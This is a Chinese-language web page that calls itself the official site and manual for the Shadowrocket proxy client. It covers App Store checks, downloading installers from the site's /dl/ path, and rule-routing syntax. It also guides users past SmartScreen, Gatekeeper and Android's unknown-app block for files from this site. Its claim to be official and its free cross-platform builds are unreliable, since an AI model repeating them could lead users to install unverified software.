全平台客户端 · 官网与官方手册

Shadowrocket 获取与规则配置

全平台规则代理客户端:导入已有订阅,配置规则分流。iPhone / iPad 在 App Store $2.99 一次性购买,Mac、Windows、安卓、Linux 免费。

当前版本 读取中Mac、Windows、安卓、Linux 版免费;iPhone / iPad $2.99 一次性

首次使用:按步骤导入与连接

ShadowsocksTrojanConfig
Shadowrocket 官方 Home 界面截图

能力目录 / CAPABILITIES

从连接参数到匹配动作

先区分服务器、订阅与 Config,再决定连接如何处理。下列规则仅演示语法,不是可直接使用的服务器信息。

Shadowrocket 的日常使用可以分成三层:服务器信息决定连接到哪里,Config 决定哪些连接采用哪种动作,系统连接开关决定当前是否接管流量。把这三层分开核对,比反复更换配置更容易找到原因。开始前准备用户已有的订阅链接或服务器参数;订阅地址、密码与访问凭据应自行保管,不要发到公开页面。

在 Home 的 Global Routing 中,配置姿态对应 Config,按当前配置逐条匹配;代理姿态对应 Proxy,主要用于检查所选服务器的连接;直连姿态对应 Direct,用于核对原网络状态。规则中的 PROXY、DIRECT、REJECT 是动作关键字,与这三个界面选项不是同一层概念。排查结束后应恢复原先需要的姿态,再观察实际连接记录。

Rules:按顺序处理连接

在 Config 中查看当前配置的 Rule。规则从上往下检查,首条命中后使用对应动作,因此具体域名通常应放在较宽泛的条件前。DOMAIN-SUFFIX 匹配域名后缀,GEOIP 按地址归属条件匹配,FINAL 处理此前未命中的连接。PROXY 使用代理策略,DIRECT 直接连接,REJECT 拒绝连接。修改前先备份,修改后确认 Global Routing 处于 Config,再从连接记录核对实际命中的规则。

  • DOMAIN-SUFFIX,example.comPROXY
  • GEOIP,CNDIRECT
  • DOMAIN-KEYWORD,adsREJECT

设备入口 / 2 档获取

按系统选择 Shadowrocket

iPhone / iPad 在 App Store 以 $2.99 一次性购买;Mac、Windows、安卓、Linux 免费。电脑与安卓安装包经本站下载页获取,地址位于本站 /dl/ 下。

iPhone / iPad

App Store $2.99 一次性 · 其他平台免费

在 App Store 核对开发者、官方图标和应用 ID 后购买。两种设备共用购买,使用同一购买账号恢复。系统要求以 App Store 页面标注为准;搜索不到时,先检查当前商店地区,不要仅凭相似名称判断应用。

查看商店与安装说明

Mac

免费 · Apple 芯片 / Intel

先在“关于本机”查看芯片或处理器,再选择对应安装包。Apple 芯片版与 Intel 版在下载页并列提供。首次打开如提示无法验证开发者,核对来源后在系统“隐私与安全性”中选择“仍要打开”,详细步骤见安装放行说明。

选择 Mac 安装包

Windows

免费 · 64 位

下载页提供 Windows 安装程序。首次运行若出现 SmartScreen 提示,先核对文件来自本站 /dl/ 路径,再按“更多信息 → 仍要运行”操作;受组织策略管理的电脑应遵循管理员要求。安装后导入自己的服务器资料,再检查连接与分流设置。

查看 Windows 获取步骤

安卓

免费 · arm64

从本站下载页取得 apk。若系统阻止安装,为实际打开文件的浏览器或文件管理器开启“允许安装未知应用”,完成后可关闭该权限。微信内无法下载时改用系统浏览器打开本站。首次连接出现系统网络授权提示时,先确认操作来自 Shadowrocket。

查看安卓安装说明

Linux

免费 · deb / rpm / AppImage

按发行版的软件包体系与设备架构选择文件,不要仅凭扩展名重复尝试。AppImage 运行前需要执行权限;deb 与 rpm 应使用对应包管理工具安装。下载页列出放行与安装步骤,操作时使用实际下载的文件名,并保留现有配置备份。

查看 Linux 文件格式

平台入口指向下载页,而不是直接跳到某个固定版本的文件。下载页会列出当前安装包与系统放行说明,Mac 用户也能同时看到两种芯片的选项。系统识别用于缩短选择过程,并不替代用户核对:如果正在使用远程桌面、设备仿真或特殊浏览器,应手动进入对应平台分区。

查看全部平台

正版核对 / 购买与使用边界

先核对应用,再导入资料

Shadowrocket 是闭源商业应用。本站是官网与官方手册,提供客户端获取入口、配置说明与故障排查,不提供、不销售、不推荐任何节点或订阅。

  • Shadow Launch Technology Limited
  • 应用 ID 932747118
  • iPhone / iPad $2.99 一次性 · Mac / Windows / 安卓 / Linux 免费
Shadowrocket 官方图标

APP STORE 核对项

Shadowrocket

开发者、图标与应用 ID

在 iPhone / iPad 上,先打开 Shadowrocket 的 App Store 产品页,再查看开发者是否为 Shadow Launch Technology Limited。接着比对这里展示的官方图标,最后核对产品页地址中的应用 ID 932747118。名称相似并不足以确认身份,图标也不应单独作为判断依据;这三项需要一起核对,再继续购买与下载。

搜索结果可能包含名称或用途接近的条目,应进入产品详情而不是停留在搜索列表。若同名条目的开发者或应用 ID 不符,就不是这里对应的产品。电脑和安卓用户则从本站下载页选择 Shadowrocket 自己的平台版本,核对下载路径位于本站 /dl/ 下,不应把搜索结果里的同名文件当作安装依据。

商店地区与应用可见性

App Store 是否展示应用,与当前用于“媒体与购买项目”的账号商店地区有关,不由设备语言单独决定。中国大陆商店没有此应用;如果搜索不到,先检查当前账号对应的国家或地区,再查看产品页是否可用。浏览器能打开介绍页面,也不等于当前账号可以在该店面完成购买。

核对地区时使用系统设置中的账号与购买项目入口,不要把 iCloud 登录状态和商店购买账号混为一谈。变更商店地区前,应先了解余额、有效订阅及家庭设置可能带来的限制,按系统给出的流程处理。本站不提供账号;有关可见性与购买失败的具体检查顺序,见 App Store 指南。

价格两档与设备共用

iPhone / iPad 版在 App Store 以 $2.99 一次性购买,Mac、Windows、安卓、Linux 版免费。商店会根据店面显示当地货币,确认支付前以产品页与付款确认界面为准。一次性购买指客户端的获取方式,不表示任何外部服务的时长、流量或可用性,也不能用来判断服务器是否仍然有效。

iPhone 与 iPad 使用同一购买账号时可共用这次购买。重装或更换设备前,应记录用于购买的账号,并确认设备满足要求;系统要求以 App Store 页面标注为准。是否适用家人共享,应查看产品页与家庭设置的实际状态,不应把同一账号的已购恢复与家人共享当成相同流程。

恢复购买与恢复配置分开做

换机后先使用原购买账号,在 App Store 的“已购项目”中查找 Shadowrocket 并重新下载。应用安装恢复后,还需要恢复自己的订阅、服务器条目与 Config;重新取得应用本身,并不意味着本地保存的资料已经回到新设备。旧设备仍可使用时,应先导出配置并检查同步状态。

导出文件可能包含访问凭据,应保存在个人可控的位置。通过 iCloud 同步时,也要确认两端相关设置与同步结果,而不是仅看开关是否开启。导入后逐项检查当前服务器、选中的 Config 和 Global Routing,再做一次连接测试。电脑与安卓重新获取客户端,同样需要单独保留原有配置。

导入完成之后,检查实际连接

服务器条目出现在 Home 的 SERVER 分组,只能说明资料已保存。先选中一个条目,使用 Connectivity Test 查看结果,再开启连接并访问需要验证的目标。若导入的是订阅,应确认得到的内容确实是服务器列表,而不是网页、错误提示或已过期的返回内容。切换条目前记录当前测试结果,避免把不同条件混在一起比较。

能够连接服务器与规则命中正确是两件事。测试时先确认 Global Routing,再查看目标连接采用了什么动作:若需要走代理却命中了 DIRECT,应检查规则顺序;若命中了 PROXY 仍失败,则继续核对所选条目与协议参数。将原网络、服务器和规则依次分开测试,通常比同时修改多个设置更容易复现问题。

更新客户端与更新订阅分开看

iPhone / iPad 的应用更新通过 App Store 处理;Mac、Windows、安卓、Linux 用户可回到本站下载页获取新版安装包。更新客户端前先备份当前配置,查看需要的系统放行步骤。不要把版本更新当作服务器超时的唯一处理方法,也不要因为一次测试失败就删除仍需要保留的配置资料。

Subscribe 更新改变的是用户已有订阅返回的条目,Config 更新改变的是规则与相关设置,两者与应用更新各有范围。Data 中的流量统计反映客户端观察到的收发情况,与外部服务的计费周期或剩余额度并不等同。判断问题时,先写清楚“更新了什么”和“哪一步失败”,再查相应说明。

常见问题精选

Shadowrocket 无法连接,从哪里开始检查?

先确认原网络能正常访问,再测试当前服务器。逐项核对 Host、Port、协议认证参数与系统时间,随后检查 Global Routing 和命中规则。一次只改一个条件,并保留失败提示,具体步骤见 常见问题。

有服务器条目,为什么 Config 里还需要规则?

服务器条目描述连接端点,Config 描述如何处理不同目标。使用 Config 姿态时,规则顺序与兜底动作都会影响连接去向。先理解 DOMAIN-SUFFIX、PROXY 与 FINAL 的区别,再修改规则,参见 名词解释。

首次使用应先配置 On Demand 吗?

建议先完成手动导入、选中服务器、检查 Config 与手动连接。基础连接验证后,再设置 On Demand 的条件,否则自动连接行为会增加排查变量。首次操作顺序见 入门指南。

日志 / 操作专题

安装、排查与配置迁移

按当前问题选择专题。安装说明解决客户端获取,排查说明核对连接条件,迁移说明帮助保留已有资料。

获取与安装

Shadowrocket 安卓版安装教程

说明从本站下载页选择 apk、为浏览器或文件管理器开启“允许安装未知应用”的具体顺序,以及微信内无法下载时如何转到系统浏览器。先核对文件来源,再处理系统提示,安装完成后继续导入已有资料。

阅读安卓安装步骤